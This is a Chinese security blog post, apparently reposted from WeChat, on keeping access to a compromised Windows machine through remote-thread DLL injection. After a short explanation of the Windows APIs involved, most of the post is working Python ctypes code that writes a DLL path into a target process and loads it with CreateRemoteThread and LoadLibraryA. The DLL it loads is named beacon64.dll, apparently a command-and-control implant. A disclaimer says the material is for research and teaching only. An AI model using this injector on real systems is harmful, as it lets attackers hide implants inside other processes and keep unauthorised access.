LoadLibrary来动态加载DLL文件 GetProcAddress用来从导出的函数或变量的地址 CreateRemoteThread函数将创建一个新线程，该线程运行在另一个进程的虚拟地址空间。
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryw
HMODULE LoadLibraryA(LPCSTR lpLibFileName);
https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloader
api-getprocaddressFARPROC GetProcAddress(HMODULE hModule,LPCSTR lpProcName);
ctypes.windll.kernel32.GetModuleHandleW.argtypes = [c_wchar_p]ctypes.windll.kernel32.GetModuleHandleW.restype = c_void_phandle = ctypes.windll.kernel32.GetModuleHandleW("kernel32")ctypes.windll.kernel32.GetProcAddress.argtypes = [c_void_p, c_char_p]ctypes.windll.kernel32.GetProcAddress.restype = c_void_pLLA = ctypes.windll.kernel32.GetProcAddress(handle, b'LoadLibraryA')
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)h_process = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS,False,pid)ctypes.windll.kernel32.CloseHandle(h_process)
dll_path = b"C:\Users\lcg17\Desktop\cs\beacon64.dll"
import osshellcode = os.path.abspath('beacon64.dll')# shellcode = "C:\Users\lcg17\Desktop\cs\beacon64.dll"shellcode = bytearray(shellcode)arg_address = ctypes.windll.kernel32.VirtualAllocEx(h_process, 0, len(dll_path), 0x1000, 0x04)
shellcode = (ctypes.c_char * len(dll_path)).from_buffer(dll_path)ctypes.windll.kernel32.WriteProcessMemory(h_process, arg_address, shellcode,len(dll_path), 0)
LPTHREAD_START_ROUTINE = ctypes.WINFUNCTYPE(wintypes.DWORD, wintypes.LPVOID)start = LPTHREAD_START_ROUTINE(LLA)
handle = ctypes.windll.kernel32.CreateRemoteThread(h_process, None, 0, start, arg_address, 0, 0)
测试
import ctypesfrom ctypes import *from ctypes import wintypesimport sys,osdef inject(file,pid):PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)h_process = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))if h_process:dll_path = os.path.abspath(file)print(dll_path)# dll_path = "C:\Users\lcg17\Desktop\cs\beacon64.dll"dll_path = bytearray(dll_path)arg_address = ctypes.windll.kernel32.VirtualAllocEx(h_process, ctypes.c_int(0), ctypes.c_int(len(dll_path)),ctypes.c_int(0x3000), ctypes.c_int(0x04))buf = (ctypes.c_char * len(dll_path)).from_buffer(dll_path)ctypes.windll.kernel32.WriteProcessMemory(h_process, arg_address, buf, len(dll_path))ctypes.windll.kernel32.GetModuleHandleW.argtypes = [c_wchar_p]ctypes.windll.kernel32.GetModuleHandleW.restype = c_void_phandle = ctypes.windll.kernel32.GetModuleHandleW("kernel32")ctypes.windll.kernel32.GetProcAddress.argtypes = [c_void_p, c_char_p]ctypes.windll.kernel32.GetProcAddress.restype = c_void_pLLA = ctypes.windll.kernel32.GetProcAddress(handle, b'LoadLibraryA')print("LoadLibraryA:{}".format(LLA))LPTHREAD_START_ROUTINE = ctypes.WINFUNCTYPE(wintypes.DWORD, wintypes.LPVOID)start = LPTHREAD_START_ROUTINE(LLA)handle = ctypes.windll.kernel32.CreateRemoteThread(h_process, None, 0, start, arg_address, 0, 0)if handle:ctypes.windll.kernel32.WaitForSingleObject(handle, -1)ctypes.windll.kernel32.CloseHandle(handle)else:print("create handle errer")sys.exit()ctypes.windll.kernel32.CloseHandle(h_process)else:print("open process error")sys.exit()if __name__ == '__main__':inject(sys.argv[1],sys.argv[2])
本文始发于微信公众号（XG小刚）：维持访问-远程线程DLL注入分析
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论